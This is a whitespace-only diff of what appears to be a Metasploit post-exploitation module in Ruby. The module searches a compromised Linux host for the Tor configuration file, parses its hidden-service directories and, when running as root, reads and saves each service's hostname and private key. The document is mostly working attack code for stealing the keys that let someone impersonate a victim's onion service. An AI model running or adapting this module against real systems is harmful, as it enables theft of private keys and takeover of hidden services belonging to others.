@@ -15,11 +15,11 @@ def initialize(info={})
15
15
'Name' => 'Linux Gather TOR Hidden Services' ,
16
16
'Description' => %q{
17
17
This module collects the hostnames name and private keys of
18
- any TOR Hidden Services running on the target machine. It
19
- will search for torrc and if found, will parse it for the
20
- directories of Hidden Services. However, root permissions
21
- are required to read them as they are owned by the user that
22
- TOR runs as, usually a separate account.
18
+ any TOR Hidden Services running on the target machine. It
19
+ will search for torrc and if found, will parse it for the
20
+ directories of Hidden Services. However, root permissions
21
+ are required to read them as they are owned by the user that
22
+ TOR runs as, usually a separate account.
23
23
} ,
24
24
'License' => MSF_LICENSE ,
25
25
'Author' =>
@@ -62,25 +62,25 @@ def get_host
62
62
def find_torrc
63
63
config = cmd_exec ( "find / -name 'torrc' 2>/dev/null | head -n 1" ) . chomp
64
64
if config != ""
65
- print_good ( "Torrc file found at #{ config } " )
66
- hiddenservices = cmd_exec ( "cat #{ config } | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2" ) . split ( "\n " )
67
- print_good ( "Hidden Services found!" )
65
+ print_good ( "Torrc file found at #{ config } " )
66
+ hiddenservices = cmd_exec ( "cat #{ config } | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2" ) . split ( "\n " )
67
+ print_good ( "Hidden Services found!" )
68
68
69
- if is_root?
70
- hiddenservices . each do |f |
71
- output = read_file ( "#{ f } hostname" )
72
- save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .hostname" ) if output && output !~ /No such file or directory/
73
- end
69
+ if is_root?
70
+ hiddenservices . each do |f |
71
+ output = read_file ( "#{ f } hostname" )
72
+ save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .hostname" ) if output && output !~ /No such file or directory/
73
+ end
74
74
75
- hiddenservices . each do |f |
76
- output = read_file ( "#{ f } private_key" )
77
- save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .privatekey" ) if output && output !~ /No such file or directory/
78
- end
79
- else
80
- print_error ( "Hidden Services were found, but we need root to access the directories" )
81
- end
75
+ hiddenservices . each do |f |
76
+ output = read_file ( "#{ f } private_key" )
77
+ save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .privatekey" ) if output && output !~ /No such file or directory/
78
+ end
79
+ else
80
+ print_error ( "Hidden Services were found, but we need root to access the directories" )
81
+ end
82
82
else
83
- print_error ( "No Torrc file found. Perhaps it goes by another name?" )
83
+ print_error ( "No Torrc file found. Perhaps it goes by another name?" )
84
84
end
85
85
end
86
86
end
0 commit comments